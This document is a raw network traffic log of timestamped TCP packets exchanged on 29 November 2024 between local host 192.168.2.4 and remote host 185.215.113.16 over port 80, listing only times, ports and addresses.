Nov 29, 2024 20:07:33.304279089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.304310083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.304349899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.305449009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.305484056 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.305515051 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.305562019 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.306618929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.306658983 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.306777000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.306814909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.307809114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.307846069 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.307923079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.307962894 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.309026957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.309065104 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.309144974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.309184074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.310165882 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.310209990 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.448291063 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.448339939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.448406935 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.448446035 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.448880911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.448920965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.449089050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.449127913 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.450107098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.450149059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.450537920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.450577974 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.450615883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.450654030 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.451782942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.451824903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.451904058 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.451941967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.453011036 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.453049898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.453090906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.453130960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.454140902 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.454178095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.454250097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.454292059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.455403090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.455451965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.455601931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.455641031 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.456584930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.456625938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.456674099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.456712961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.457766056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.457807064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.457886934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.457926989 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.458971977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.459013939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.459224939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.459260941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.460191965 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.460228920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.460310936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.460350990 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.461415052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.461452961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.461524963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.461566925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.462563992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.462599993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.462665081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.462701082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.463769913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.463808060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.463880062 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.463922977 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.465022087 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.465060949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.465094090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.465131044 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.466175079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.466219902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.466311932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.466348886 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.467390060 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.467428923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.467562914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.467598915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.468652964 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.468693018 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.468698978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.468738079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.469791889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.469830036 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.469861984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.469907999 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.471003056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.471039057 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.471108913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.471143961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.472223997 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.472260952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.472306967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.472347975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.473447084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.473484993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.473553896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.473599911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.474625111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.474673033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.474746943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.474781990 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.475846052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.475898027 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.475930929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.475977898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.477016926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.477071047 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.477175951 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.477219105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.478218079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.478250980 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.478446960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.478496075 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.479440928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.479480982 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.479552031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.479603052 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.480705023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.480747938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.480865002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.480901003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.481847048 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.481889963 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.481954098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.481987953 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.483055115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.483094931 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.483129978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.483167887 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.484294891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.484334946 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.484365940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.484410048 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.485433102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.485467911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.485548973 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.485586882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.486711025 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.486752033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.486880064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.486917973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.487842083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.487880945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.488020897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.488053083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.489073992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.489115000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.489176989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.489216089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.490252972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.490298033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.490361929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.490401030 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.491444111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.491483927 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.491523981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.491564989 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.492686033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.492717981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.492780924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.492818117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.493869066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.493905067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.494024992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.494060993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.495085955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.495131969 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.495170116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.495208025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.496308088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.496351004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.496409893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.496449947 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.497477055 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.497514009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.497572899 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.497612000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.498704910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.498744011 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.498814106 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.498853922 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.499931097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.499970913 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.500082970 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.500119925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.501113892 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.501148939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.501225948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.501266003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.502293110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.502340078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.502422094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.502460957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.503532887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.503565073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.503627062 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.503665924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.504709005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.504754066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.504820108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.504861116 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.505937099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.505983114 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.506011009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.506057024 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.507118940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.507164001 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.507227898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.507275105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.508322001 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.508364916 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.508394003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.508438110 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.509524107 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.509562969 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.509628057 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.509670019 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.510763884 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.510804892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.510818005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.510863066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.649781942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.649828911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.649868965 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.649910927 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.650378942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.650420904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.650477886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.650518894 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.651602030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.651640892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.651711941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.651751995 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.652776957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.652820110 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.652892113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.652930975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.653989077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.654028893 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.654083014 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.654123068 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.655172110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.655213118 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.655282021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.655329943 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.656444073 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.656482935 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.656517982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.656548977 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.657594919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.657680035 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.657696962 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.657744884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.658806086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.658848047 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.658885002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.658921003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.660131931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.660171032 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.660238981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.660283089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.661165953 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.661206961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.661277056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.661317110 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.662369967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.662409067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.662484884 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.662530899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.663614035 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.663655043 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.663815975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.663852930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.664827108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.664870024 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.664910078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.664952040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.666022062 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.666062117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.666182995 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.666220903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.667228937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.667269945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.667381048 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.667418957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.668399096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.668432951 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.668473959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.668513060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.669636011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.669671059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.669749975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.669787884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.670892954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.670933008 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.671006918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.671042919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.672056913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.672096014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.672177076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.672219038 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.673244953 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.673283100 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.673343897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.673381090 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.674448013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.674484968 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.674582005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.674621105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.675712109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.675753117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.675817013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.675856113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.676831961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.676872969 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.676932096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.676969051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.678035975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.678070068 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.678195000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.678231955 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.679390907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.679429054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.679471016 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.679510117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.680448055 CET	80	50068	185.215.113.16	192.168.2.4
